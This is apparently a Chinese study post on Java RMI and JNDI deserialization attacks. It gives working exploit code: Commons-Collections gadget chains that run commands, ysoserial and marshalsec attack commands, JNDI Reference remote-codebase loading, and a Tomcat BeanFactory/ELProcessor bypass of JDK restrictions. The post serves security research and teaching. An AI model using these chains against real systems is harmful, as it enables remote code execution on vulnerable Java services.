前言 No。
 
 
RMI Remote Method Invoke,翻译过来就是远程方法调用,从功能来说有点像远程 API 调用,客户端请求服务端提供的 API,服务器处理完成后将数据返回给客户端。
在 RMI 中存在三个角色:注册中心、服务端以及客户端。
在 RMI 的工作流程中,服务端编写一个继承了 Remote 类的接口以及一个继承了 UnicastRemoteObject 类的远程调用类,并在其中实现远程调用方法的逻辑代码,然后与注册中心建立 TCP 连接,将这个类实例化并注册到注册中心。客户端要调用服务端的远程方法时就会去访问注册中心,从注册中心处拿到服务端的信息,再调用服务端的远程方法。借用一张参考文章里面的图,流程大致如下:
一个简单的 RMI 使用测试代码如下,注册中心代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public  static  void  main ( String[] args )  {     try  {         LocateRegistry.createRegistry(1099 );         System.out.println("RMI Registry Start at port 1099" );     }catch (Exception e){         e.printStackTrace();     }     while  (true ); }public  interface  RMIServerImpl  extends  Remote  {     String call () throws  RemoteException; }
 
服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public  static  void  main ( String[] args )  {     try  {         Registry  registry  =  LocateRegistry.getRegistry("127.0.0.1" , 1099 );         registry.rebind("RMIServer" , new  RMIServer ());         System.out.println("RMI Registry Start at port 1099" );     }catch (Exception e){         e.printStackTrace();     } }public  class  RMIServer  extends  UnicastRemoteObject  implements  Serializable , RMIServerImpl {     RMIServer() throws  RemoteException{}     @Override      public  String call ()  {         System.out.println("Call!" );         return  "Here is Server Test!" ;     } }public  interface  RMIServerImpl  extends  Remote  {     String call () throws  RemoteException; }
 
客户端:
1 2 3 4 5 6 7 8 9 10 public  static  void  main ( String[] args )  throws  RemoteException, NotBoundException {     Registry  registry  =  LocateRegistry.getRegistry("127.0.0.1" , 1099 );     RMIServerImpl  service  =  (RMIServerImpl)registry.lookup("RMIServer" );     System.out.println(service.call()); }public  interface  RMIServerImpl  extends  Remote  {     String call () throws  RemoteException; }
 
在实际使用中,注册中心和服务端一般是放在一起的。
JRMP 暂时不研究,所以只放个网络上的概念在这里。
JRMP:Java Remote Message Protocol ,Java 远程消息交换协议。这是运行在 Java RMI 之下、TCP/IP 之上的线路层协议。该协议要求服务端与客户端都为 Java 编写,就像 HTTP 协议一样,规定了客户端和服务端通信要满足的规范。
RMI 攻击方式 为了接下来的测试,可以在三个地方都加上 apache-commons-collections 3.2.1 的依赖。
服务端攻击低版本 JDK 注册中心 在 RMI 的工作流程中,服务端要将一个对象绑定到注册中心,这个传输流程能让人想到什么?没错,就是 Java 序列化。
我们可以抓包看一看绑定过程中的数据传输:
很明显是一段序列化数据,所以注册中心在接收到这段注册数据的时候自然也会进行反序列化,这就会导致一个反序列化攻击的入口。但是要攻击成功还是需要注册中心本地存在可利用的反序列化 gadget。
接下来看看注册中心的注册流程,在调用 createRegistry 之后,会创建一个 ServerSocket 线程在该端口处监听 TCP 流量:
接收到数据后的处理代码在 executeAcceptLoop 函数中,不过这里不是这次的重点,重点的处理代码在之后的 handleMessages 函数中:
80 代表这是 Call 请求,服务端注册和客户端请求都是这个 transport op:
在 serviceCall 的调用中,后面会进入 RegistryImpl_Skel 类的 dispatch 函数,switch var3 后进行不同处理,var3 其实就是代表对注册中心请求种类的一个数字,rebind 函数发出的请求中 var3 就是 3,大概在流量包的这个地方:
或者也可以直接在源码中查看,rebind 以及 lookup 之类的方法定义都在 RegistryImpl_Stub 类中:
1 2 3 4 5 6 7 8 9 10 11 12 public  void  rebind (String var1, Remote var2)  throws  AccessException, RemoteException {     try  {         StreamRemoteCall  var3  =  (StreamRemoteCall)this .ref.newCall(this , operations, 3 , 4905912898345647071L );         try  {             ObjectOutput  var4  =  var3.getOutputStream();             var4.writeObject(var1);             var4.writeObject(var2);         }         ...     } }
 
回到注册中心的处理来,在这里可以看到这里有一个反序列化操作:
在低版本 JDK 上,可以直接利用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Transformer[] transformers = new  Transformer [] {     new  ConstantTransformer (Runtime.class),     new  InvokerTransformer ("getMethod" , new  Class []{String.class, Class[].class}, new  Object []{"getRuntime" , new  Class [0 ]}),     new  InvokerTransformer ("invoke" , new  Class []{Object.class, Object[].class}, new  Object []{null , new  Object [0 ]}),     new  InvokerTransformer ("exec" , new  Class []{String.class}, new  Object []{"calc" }) };ChainedTransformer  transformerChain  =  new  ChainedTransformer (transformers); Map<String, String> map = new  HashMap <>(); map.put("value" , "Twings" ); Map<String, Object> transformedMap = TransformedMap.decorate(map, null , transformerChain); Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructors()[0 ]; constructor.setAccessible(true );InvocationHandler  annotationInvocationHandler  =  (InvocationHandler)constructor.newInstance(Retention.class, transformedMap);Remote  remote  =  (Remote)Proxy.newProxyInstance(RMIServer.class.getClassLoader(), RMIServer.class.getInterfaces(), annotationInvocationHandler);Registry  registry  =  LocateRegistry.getRegistry("127.0.0.1" ,1099 ); registry.rebind("Hack" , remote);
 
因为 rebind 需要第二个参数是 Remote 类型的,所以用动态代理转换一下,动态代理的第一个参数可以随意,反序列化攻击的过程不需要用到动态代理,第二个参数因为要转换成 Remote 类型所以需要 Remote,可以 getInterfaces 也可以直接 new Class[]{Remote.class}。
也可以直接使用 ysoserial 的 JRMPClient:
1 java -cp  .\ysoserial-0 .0.6 -SNAPSHOT-all .jar ysoserial.exploit.JRMPClient 127.0 .0.1  1099  CommonsCollections6 calc
 
这个 payload 跟一般的服务端注册中心交互不同,走的是 DGC,具体我也没仔细研究过,不懂。高版本 JDK 中这里的反序列化会经过 DGCImpl 类里面 checkInput 方法的过滤,所以无法使用。
而同样的如果在高版本 JDK ( >= jdk8u121 )上面用 commons-collections 的 payload 去测试 rebind,会发现触发了一个反序列化白名单 WAF:
1 return  String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
 
所以 gadget 基本上都用不了了,要寻找其他方法。
顺带一提的是,除了 rebind,在低版本 JDK 里面 bind 和 unbind 都是可以触发反序列化操作的,所以都可以用来攻击注册中心,而高版本 JDK 的 unbind 处理中将 readObject 改成了 readString,所以无法利用。bind 的攻击流程与 rebind 类似,而 unbind 的参数是 String 所以无法直接使用,攻击流程可以参考下面客户端使用 lookup 攻击。
客户端攻击低版本 JDK 注册中心 客户端 lookup 的源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public  Remote lookup (String var1)  throws  AccessException, NotBoundException, RemoteException {     try  {         StreamRemoteCall  var2  =  (StreamRemoteCall)this .ref.newCall(this , operations, 2 , 4905912898345647071L );         try  {             ObjectOutput  var3  =  var2.getOutputStream();             var3.writeObject(var1);         } catch  (IOException var15) {         	throw  new  MarshalException ("error marshalling arguments" , var15);         }         this .ref.invoke(var2);         Remote var20;         try  {             ObjectInput  var4  =  var2.getInputStream();             var20 = (Remote)var4.readObject();         } catch  (IOException | ClassNotFoundException | ClassCastException var13) {             var2.discardPendingRefs();             throw  new  UnmarshalException ("error unmarshalling return" , var13);         } finally  {         	this .ref.done(var2);         }         return  var20;     }     ... }
 
后面的 readObject 可能会导致的客户端被反序列化攻击先不提,我们可以看到 lookup 方法的操作码是 2,而注册中心同样会对这种操作进行反序列化:
1 2 3 4 5 6 case  2 :     try  {         var10 = var2.getInputStream();         var7 = (String)var10.readObject();     }     ...
 
所以理论上也可以通过客户端 lookup 攻击注册中心,只是有一个问题,lookup 方法的参数是 String,也无法使用代理,所以不能直接构造 payload。不过我们可以把 lookup 的代码提取出来进行攻击:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Transformer[] transformers = new  Transformer [] {     new  ConstantTransformer (Runtime.class),     new  InvokerTransformer ("getMethod" , new  Class []{String.class, Class[].class}, new  Object []{"getRuntime" , new  Class [0 ]}),     new  InvokerTransformer ("invoke" , new  Class []{Object.class, Object[].class}, new  Object []{null , new  Object [0 ]}),     new  InvokerTransformer ("exec" , new  Class []{String.class}, new  Object []{"calc" }) };ChainedTransformer  transformerChain  =  new  ChainedTransformer (transformers); Map<String, String> map = new  HashMap <>(); map.put("value" , "Twings" ); Map<String, Object> transformedMap = TransformedMap.decorate(map, null , transformerChain); Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructors()[0 ]; constructor.setAccessible(true );InvocationHandler  annotationInvocationHandler  =  (InvocationHandler)constructor.newInstance(Retention.class, transformedMap); Operation[] operations = new  Operation []{new  Operation ("void bind(java.lang.String, java.rmi.Remote)" ), new  Operation ("java.lang.String list()[]" ), new  Operation ("java.rmi.Remote lookup(java.lang.String)" ), new  Operation ("void rebind(java.lang.String, java.rmi.Remote)" ), new  Operation ("void unbind(java.lang.String)" )};LiveRef  liveRef  =  new  LiveRef (new  ObjID (ObjID.REGISTRY_ID), new  TCPEndpoint ("127.0.0.1" , 1099 ), false );RemoteRef  ref  =  new  UnicastRef (liveRef);RegistryImpl_Stub  registryImpl_stub  =  new  RegistryImpl_Stub (ref);StreamRemoteCall  streamRemoteCall  =  (StreamRemoteCall)registryImpl_stub.getRef().newCall(registryImpl_stub, operations, 2 , 4905912898345647071L );ObjectOutput  objectOutput  =  streamRemoteCall.getOutputStream(); objectOutput.writeObject(annotationInvocationHandler); registryImpl_stub.getRef().invoke(streamRemoteCall);
 
后面会因为强制转换为 String 而报错,不过没有关系,命令已经执行了。而在高版本 JDK 中(具体不知道是哪个版本),除了白名单 WAF 之外,case 2 的 readObject 反序列化操作会变成 readString,所以这种方式就无法使用了。
注册中心攻击客户端 就像上面看到的一样,客户端 lookup 会反序列化注册中心发回的数据,注册中心就可以以此攻击客户端。
这个操作也挺麻烦,因为注册中心要先 bind 才能回复客户端序列化数据,而 bind 就会触发注册中心的反序列化,导致一些奇奇怪怪的问题。所以要实现这种攻击,可能需要自己整一个注册中心。我这里为了方便,用 endorsed  将 RegistryImpl_Skel 类覆盖掉了,让 case 2 时直接返回序列化数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Transformer[] transformers = new  Transformer [] {     new  ConstantTransformer (Runtime.class),     new  InvokerTransformer ("getMethod" , new  Class []{String.class, Class[].class}, new  Object []{"getRuntime" , new  Class [0 ]}),     new  InvokerTransformer ("invoke" , new  Class []{Object.class, Object[].class}, new  Object []{null , new  Object [0 ]}),     new  InvokerTransformer ("exec" , new  Class []{String.class}, new  Object []{"calc" }) };ChainedTransformer  transformerChain  =  new  ChainedTransformer (transformers); Map<String, String> map = new  HashMap <>(); map.put("value" , "Twings" ); Map<String, Object> transformedMap = TransformedMap.decorate(map, null , transformerChain); Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructors()[0 ]; constructor.setAccessible(true );InvocationHandler  annotationInvocationHandler  =  (InvocationHandler)constructor.newInstance(Retention.class, transformedMap);try  {     ObjectOutput  var9  =  var2.getResultStream(true );     var9.writeObject(annotationInvocationHandler);     break ; } catch  (IOException var88) { 	throw  new  MarshalException ("error marshalling return" , var88); }
 
用高版本写了个 RegistryImpl_Skel 类打算覆盖注册中心,结果发现在这个类里引入 commons-collections 包生成 payload 会有问题,所以就把整个 commons-collections 包一起放进去了,然后打包生成 jar,放到高版本 JDK 目录下。
用高版本 JDK 启动注册中心,然后用低版本 JDK 启动客户端 lookup 一下,可以看到计算器弹出。因为客户端的反序列化并不会经过 registryFilter 函数,所以也可以改成 BadAttributeValueExpException 的 payload 来攻击高版本客户端,测试的时候最好用两个不同版本的 Java 来运行攻击方和被攻击方,我本地有 60、66、231、241 四个版本的 JDK 用于测试。
如果嫌麻煩,可以用 ysoserial:
1 java -cp   ysoserial-0 .0.6 -SNAPSHOT-all .jar ysoserial.exploit.JRMPListener 1099  CommonsCollections6 calc
 
客户端攻击服务端 客户端从注册中心获取服务端的信息之后,就要将调用的方法名和参数一起发送到服务端,前面 lookup 获取的对象实际上是一个代理对象,处理代码在 UnicastRef 类的 invoke 函数中,发送数据的关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 var7 = new  StreamRemoteCall (var6, this .ref.getObjID(), -1 , var4);try  {     ObjectOutput  var10  =  var7.getOutputStream();     this .marshalCustomCallData(var10);     var11 = var2.getParameterTypes();     for (int  var12  =  0 ; var12 < ((Object[])var11).length; ++var12) {     	marshalValue((Class)((Object[])var11)[var12], var3[var12], var10);     } } catch  (IOException var41) {     clientRefLog.log(Log.BRIEF, "IOException marshalling arguments: " , var41);     throw  new  MarshalException ("error marshalling arguments" , var41); } var7.executeCall();
 
这里将方法参数进行了序列化,而在服务端,接收数据的处理代码在 UnicastServerRef 类的 dispatch 方法中,关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 try  {     this .unmarshalCustomCallData(var41);     var9 = this .unmarshalParameters(var1, var42, var7); } catch  (AccessException var34) {     ((StreamRemoteCall)var2).discardPendingRefs();     throw  var34; } catch  (ClassNotFoundException | IOException var35) {     ((StreamRemoteCall)var2).discardPendingRefs();     throw  new  UnmarshalException ("error unmarshalling arguments" , var35); } finally  {     var2.releaseInputStream(); } Object var10;try  {     var10 = var42.invoke(var1, var9); } catch  (InvocationTargetException var33) {     throw  var33.getTargetException(); }
 
这里有一个对参数的反序列化处理,所以理论上可以通过操控客户端发送的参数数据,从而实现对服务端反序列化攻击。需要注意的一点是,服务端在反序列化取参数时,会有一个参数数量和参数类型的比较:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 private  Object[] unmarshalParametersUnchecked(Method var1, ObjectInput var2) throws  IOException, ClassNotFoundException {     Class[] var3 = var1.getParameterTypes();     Object[] var4 = new  Object [var3.length];     for (int  var5  =  0 ; var5 < var3.length; ++var5) {     	var4[var5] = unmarshalValue(var3[var5], var2);     }     return  var4; } ...protected  static  Object unmarshalValue (Class<?> var0, ObjectInput var1)  throws  IOException, ClassNotFoundException {     if  (var0.isPrimitive()) {         if  (var0 == Integer.TYPE) {         	return  var1.readInt();         } else  if  (var0 == Boolean.TYPE) {         	return  var1.readBoolean();         } else  if  (var0 == Byte.TYPE) {         	return  var1.readByte();         } else  if  (var0 == Character.TYPE) {         	return  var1.readChar();         } else  if  (var0 == Short.TYPE) {         	return  var1.readShort();         } else  if  (var0 == Long.TYPE) {         	return  var1.readLong();         } else  if  (var0 == Float.TYPE) {         	return  var1.readFloat();         } else  if  (var0 == Double.TYPE) {         	return  var1.readDouble();         } else  {         	throw  new  Error ("Unrecognized primitive type: "  + var0);         }     } else  {         return  var0 == String.class && var1 instanceof  ObjectInputStream ? SharedSecrets.getJavaObjectInputStreamReadString().readString((ObjectInputStream)var1) : var1.readObject();     } }
 
所以只能攻击绑定的方法有参数,且类型为对象的服务端。这里我用 endorsed 修改了 UnicastRef 类的 invoke 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Object[] parameterTypes = new  Object []{Object.class}; Transformer[] transformers = new  Transformer [] {     new  ConstantTransformer (Runtime.class),     new  InvokerTransformer ("getMethod" , new  Class []{String.class, Class[].class}, new  Object []{"getRuntime" , new  Class [0 ]}),     new  InvokerTransformer ("invoke" , new  Class []{Object.class, Object[].class}, new  Object []{null , new  Object [0 ]}),     new  InvokerTransformer ("exec" , new  Class []{String.class}, new  Object []{"calc" }) };ChainedTransformer  transformerChain  =  new  ChainedTransformer (transformers);Map  map  =  new  HashMap ();Map  lazyMap  =  LazyMap.decorate(map, transformerChain);TiedMapEntry  entry  =  new  TiedMapEntry (lazyMap, "Twings" );BadAttributeValueExpException  obj  =  new  BadAttributeValueExpException (null );Field  field  =  obj.getClass().getDeclaredField("val" ); field.setAccessible(true ); field.set(obj, entry); Object[] exp = new  Object []{obj};for (int  var12  =  0 ; var12 < (parameterTypes).length; ++var12) { 	marshalValue((Class)(parameterTypes)[var12], exp[var12], var10); }
 
服务端攻击客户端 在客户端将方法名和参数传输过来,服务端执行完之后,会有一个向客户端写入序列化数据的操作:
1 2 3 4 5 6 7 8 9 try  {     ObjectOutput  var11  =  var2.getResultStream(true );     Class  var12  =  var42.getReturnType();     if  (var12 != Void.TYPE) {     	marshalValue(var12, var10, var11);     } } catch  (IOException var32) { 	throw  new  MarshalException ("error marshalling return" , var32); }
 
而客户端也会将这些序列化数据反序列化处理:
1 2 3 4 5 6 7 8 9 10 11 12 Class  var46  =  var2.getReturnType();if  (var46 == Void.TYPE) {     var11 = null ;     return  var11; } var11 = var7.getInputStream();Object  var47  =  unmarshalValue(var46, (ObjectInput)var11); var9 = true ; clientRefLog.log(Log.BRIEF, "free connection (reuse = true)" );this .ref.getChannel().free(var6, true ); var13 = var47;
 
所以服务端可以以此来攻击客户端,此时客户端反序列化同样有限制,如果是 String,就会触发 ObjectInputStream 里面的报错:
1 2 3 if  (type == String.class) { 	throw  new  ClassCastException ("Cannot cast an object to java.lang.String" ); }
 
而其他类型不会有问题(我测试了 Object 和 Integer),所以大部分有 return 的方法都可以用来攻击,同样用 endorsed 修改 UnicastServerRef 类的 dispatch 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ObjectOutput  var11  =  var2.getResultStream(true );Class  var12  =  var42.getReturnType(); Transformer[] transformers = new  Transformer [] {     new  ConstantTransformer (Runtime.class),     new  InvokerTransformer ("getMethod" , new  Class []{String.class, Class[].class}, new  Object []{"getRuntime" , new  Class [0 ]}),     new  InvokerTransformer ("invoke" , new  Class []{Object.class, Object[].class}, new  Object []{null , new  Object [0 ]}),     new  InvokerTransformer ("exec" , new  Class []{String.class}, new  Object []{"calc" }) };ChainedTransformer  transformerChain  =  new  ChainedTransformer (transformers);Map  map  =  new  HashMap ();Map  lazyMap  =  LazyMap.decorate(map, transformerChain);TiedMapEntry  entry  =  new  TiedMapEntry (lazyMap, "Twings" );BadAttributeValueExpException  obj  =  new  BadAttributeValueExpException (null );Field  field  =  obj.getClass().getDeclaredField("val" ); field.setAccessible(true ); field.set(obj, entry);if  (var12 != Void.TYPE) { marshalValue(var12, obj, var11); }
 
攻击高版本 JDK(< 8u232_b09) 注册中心 如上文所说,高版本 JDK 的注册中心会有一个白名单 WAF,所以无法直接攻击。而 ysoserial 中有这么一个 payload,JRMPClient,他们的作用就是通过反序列化在注册中心处创建一个客户端去连接远程注册中心,再攻击客户端,从而绕开了注册中心的白名单。
payload 代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 String host;int  port;int  sep  =  command.indexOf(':' );if  ( sep < 0  ) {     port = new  Random ().nextInt(65535 );     host = command; }else  {     host = command.substring(0 , sep);     port = Integer.valueOf(command.substring(sep + 1 )); }ObjID  id  =  new  ObjID (new  Random ().nextInt()); TCPEndpoint  te  =  new  TCPEndpoint (host, port);UnicastRef  ref  =  new  UnicastRef (new  LiveRef (id, te, false ));return  ref;
 
可以发现这些类都在白名单范围之内,这里的代码跟客户端 getRegistry 的代码类似:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Registry  registry  =  null ;if  (port <= 0 ) 	port = Registry.REGISTRY_PORT;if  (host == null  || host.length() == 0 ) {     try  {     	host = java.net.InetAddress.getLocalHost().getHostAddress();     } catch  (Exception e) {    	 	host = "" ;     } }LiveRef  liveRef  =  new  LiveRef (new  ObjID (ObjID.REGISTRY_ID), new  TCPEndpoint (host, port, csf, null ), false );RemoteRef  ref  =  (csf == null ) ? new  UnicastRef (liveRef) : new  UnicastRef2 (liveRef);return  (Registry) Util.createProxy(RegistryImpl.class, ref, false );
 
看起来功能应该差不多,但是客户端需要 lookup 发出请求才会受到攻击,我们先分析一下这个反序列化链的执行过程,首先是 UnicastRef 类的 readExternal:
1 this .ref = LiveRef.read(var1, false );
 
然后是 LiveRef 的 read 方法:
1 DGCClient.registerRefs(var2, Arrays.asList(var5));
 
然后是 DGCClient 的 registerRefs、makeDirtyCall 方法,最后到 DGCImpl_Stub 的 dirty 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 StreamRemoteCall  var5  =  (StreamRemoteCall)this .ref.newCall(this , operations, 1 , -669196253586618813L ); ...try  {     ObjectInput  var8  =  var5.getInputStream();     var22 = (Lease)var8.readObject(); } catch  (IOException | ClassNotFoundException | ClassCastException var17) {     if  (var7 instanceof  TCPConnection) {     	((TCPConnection)var7).getChannel().free(var7, false );     }     var5.discardPendingRefs();     throw  new  UnmarshalException ("error unmarshalling return" , var17); } finally  { 	this .ref.done(var5); }
 
这里发起了连接,然后反序列化了返回的数据。我们可以通过 rebind 来攻击:
1 2 3 4 5 6 7 8 9 ObjID  id  =  new  ObjID (new  Random ().nextInt());TCPEndpoint  te  =  new  TCPEndpoint ("127.0.0.1" , 1098 );UnicastRef  ref  =  new  UnicastRef (new  LiveRef (id, te, false ));RemoteObjectInvocationHandler  obj  =  new  RemoteObjectInvocationHandler (ref);Registry  proxy  =  (Registry) Proxy.newProxyInstance(App.class.getClassLoader(), new  Class [] { Registry.class }, obj);Registry  registry  =  LocateRegistry.getRegistry("127.0.0.1" ,1099 ); registry.rebind("RMIServer" , proxy);
 
再在 1098 端口上跑一个 ysoserial 的 JRMPListener,然后就触发了另一个白名单 WAF:
1 return  var1 != UID.class && var1 != VMID.class && var1 != Lease.class && (var1.getPackage() == null  || !Throwable.class.isAssignableFrom(var1) || !"java.lang" .equals(var1.getPackage().getName()) && !"java.rmi" .equals(var1.getPackage().getName())) && var1 != StackTraceElement.class && var1 != ArrayList.class && var1 != Object.class && !var1.getName().equals("java.util.Collections$UnmodifiableList" ) && !var1.getName().equals("java.util.Collections$UnmodifiableCollection" ) && !var1.getName().equals("java.util.Collections$UnmodifiableRandomAccessList" ) && !var1.getName().equals("java.util.Collections$EmptyList" ) ? Status.REJECTED : Status.ALLOWED;
 
查阅资料 ,发现 jdk8u232_b09 版本以后增加了对于返回的序列化对象的过滤条件,所以我本机上的两个高版本 JDK 已经打不通了,为了测试我就装多了一个 8u221 的版本,还是可以打通的。
在最新版本的 JDK 上,可能需要寻找其他利用方式或者其他反序列化利用链了。
JNDI 简单来说就是一个客户端的 API,以一个 Hashtable 作为参数,可以通过修改 Hashtable 来访问不同的服务端,服务端支持 RMI、LDAP 等等,借用一张参考文章的图:
简单的测试例子,JNDI 使用 RMI:
1 2 3 4 5 6 Hashtable  env  =  new  Hashtable (); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:2333" );Context  ctx  =  new  InitialContext (env);RMIServerImpl  rmiServer  =  (RMIServerImpl)ctx.lookup("rmi://127.0.0.1:1099/RMIServer" ); System.out.print(rmiServer.call());
 
JNDI 注入 之前 Fastjson 反序列化也有这种利用方式,通过控制 lookup 的参数,让 JNDI 加载远程数据从而完成攻击。
JDK < 8u121 服务端向注册中心注册一个 Naming Reference,将 Codebase 远程地址指定为一个 web 服务器,JNDI 就会去该 web 服务器处加载恶意 class,实例化并执行其构造函数。攻击代码如下:
1 2 3 4 5 Registry  registry  =  LocateRegistry.createRegistry(1099 );Reference  reference  =  new  Reference ("Exploit" , "Exploit" , "http://127.0.0.1:2333/" );ReferenceWrapper  referenceWrapper  =  new  ReferenceWrapper (reference); registry.rebind("RMIServer" , referenceWrapper); System.out.println("Bind" );
 
JDNI 执行的关键函数在 NamingManager 类的 getObjectFactoryFromReference 函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 static  ObjectFactory getObjectFactoryFromReference (Reference ref, String factoryName)  throws  IllegalAccessException, InstantiationException, MalformedURLException {     Class<?> clas = null ;          try  {     	clas = helper.loadClass(factoryName);     } catch  (ClassNotFoundException e) {                       }               String codebase;     if  (clas == null  && (codebase = ref.getFactoryClassLocation()) != null ) {         try  {         	clas = helper.loadClass(factoryName, codebase);         } catch  (ClassNotFoundException e) {                  }     }     return  (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
 
从 Reference 里面获取 codebase,即远程加载类的路径,然后加载远程 class,最后实例化造成 RCE。
JDK < 8u191 系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,禁止从远程 codebase 加载 Factory,所以 RMI + JNDI Reference 的利用方式就无法使用了。
RMI 不能用了,LDAP 还是可以用的,执行流程跟 RMI 相似,也可以使用 Reference,修改客户端 lookup 的参数,然后用 marshalsec  启动一个 LDAP 的Reference 服务器:
1 java -cp  .\marshalsec-0 .0.3 -SNAPSHOT-all .jar marshalsec.jndi.LDAPRefServer http://127.0 .0.1 :2333 /
 
高版本 JDK com.sun.jndi.ldap.object.trustURLCodebase 的值也变成了 false,LDAP + JNDI Reference 的利用方式也无法使用了。
现在绕过的方式主要有两种,利用本地类作为 Factory、利用 LDAP 返回序列化数据进行反序列化攻击。
本地类作为 Factory 不能从远程加载 Factory,但是可以指定一个本地类作为 Factory,它需要满足几个条件:
 
1 2 return  (clas != null ) ? (ObjectFactory) clas.newInstance() : null ;
 
1 2 3 4 5 6 if  (factory instanceof  DirObjectFactory) { 	return  ((DirObjectFactory)factory).getObjectInstance(ref, name, nameCtx, environment, attrs); } else  if  (factory != null ) { 	return  factory.getObjectInstance(ref, name, nameCtx, environment); }
 
在 Tomcat 依赖包中就存在一个类 org.apache.naming.factory.BeanFactory 满足这个条件,用 maven 下载依赖:
1 2 3 4 5 <dependency >      <groupId > org.apache.tomcat.embed</groupId >      <artifactId > tomcat-embed-core</artifactId >      <version > 9.0.17</version > </dependency > 
 
其 getObjectInstance 方法很长,我放关键代码在这里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 public  Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?,?> environment)  throws  NamingException {     if  (obj instanceof  ResourceRef) {        	try  {             Reference  ref  =  (Reference) obj;             String  beanClassName  =  ref.getClassName();             Class<?> beanClass = null ;             ClassLoader  tcl  =  Thread.currentThread().getContextClassLoader();             if  (tcl != null ) {                 try  {                     beanClass = tcl.loadClass(beanClassName);                 } catch (ClassNotFoundException e) {                 }             } else  {                 try  {                     beanClass = Class.forName(beanClassName);                 } catch (ClassNotFoundException e) {                     e.printStackTrace();                 }             }             ...             Object  bean  =  beanClass.getConstructor().newInstance();                          RefAddr  ra  =  ref.get("forceString" );             Map<String, Method> forced = new  HashMap <>();             String value;             if  (ra != null ) {                 value = (String)ra.getContent();                 Class<?> paramTypes[] = new  Class [1 ];                 paramTypes[0 ] = String.class;                 String setterName;                 int  index;                                  for  (String param: value.split("," )) {                     param = param.trim();                                          index = param.indexOf('=' );                     if  (index >= 0 ) {                         setterName = param.substring(index + 1 ).trim();                         param = param.substring(0 , index).trim();                     }                     ...                     try  {                         forced.put(param, beanClass.getMethod(setterName, paramTypes));                     }                     ...                 }             }             Enumeration<RefAddr> e = ref.getAll();             while  (e.hasMoreElements()) {                 ra = e.nextElement();                 String  propName  =  ra.getType(); 			   ...                 value = (String)ra.getContent();                 Object[] valueArray = new  Object [1 ];                                  Method  method  =  forced.get(propName);                 if  (method != null ) {                     valueArray[0 ] = value;                     try  {                         method.invoke(bean, valueArray);                     }                      ...                     continue ;                 }                 ...             }             return  bean;         }         ...     } else  {         return  null ;     } }
 
通过设置 forceString,我们可以调用一个类的 public 方法,但是要求它的参数是一个 String。这里用 javax.el.ELProcessor 类来做测试,以一个 EL 表达式为参数调用它的 exec 方法就可以实现 RCE:
1 2 3 4 5 6 7 Registry  registry  =  LocateRegistry.createRegistry(1099 );ResourceRef  resourceRef  =  new  ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); resourceRef.add(new  StringRefAddr ("forceString" , "Twings=eval" )); resourceRef.add(new  StringRefAddr ("Twings" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")" ));ReferenceWrapper  referenceWrapper  =  new  ReferenceWrapper (resourceRef); registry.rebind("RMIServer" , referenceWrapper); System.out.println("Bind" );
 
LDAP 返回序列化数据 LDAP 客户端在接收到服务端的数据之后,会有一个 decodeObject 的操作:
1 2 3 if  (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2 ]) != null ) { 	var3 = Obj.decodeObject((Attributes)var4); }
 
然后如果数据中 javaSerializedData 不为空,会有一个反序列化操作:
1 2 3 4 if  ((var1 = var0.get(JAVA_ATTRIBUTES[1 ])) != null ) {     ClassLoader  var3  =  helper.getURLClassLoader(var2);     return  deserializeObject((byte [])((byte [])var1.get()), var3); }
 
所以可以以此来利用客户端存在的 gadget 来反序列化攻击,修改 LDAPRefServer,加上 javaSerializedData:
1 2 3 4 5 e.addAttribute("javaSerializedData" , Base64.decode("rO0A..." ));
 
 
参考文章:
https://www.anquanke.com/post/id/194384 
https://www.freebuf.com/column/189835.html 
https://xz.aliyun.com/t/7079 
https://xz.aliyun.com/t/7264 
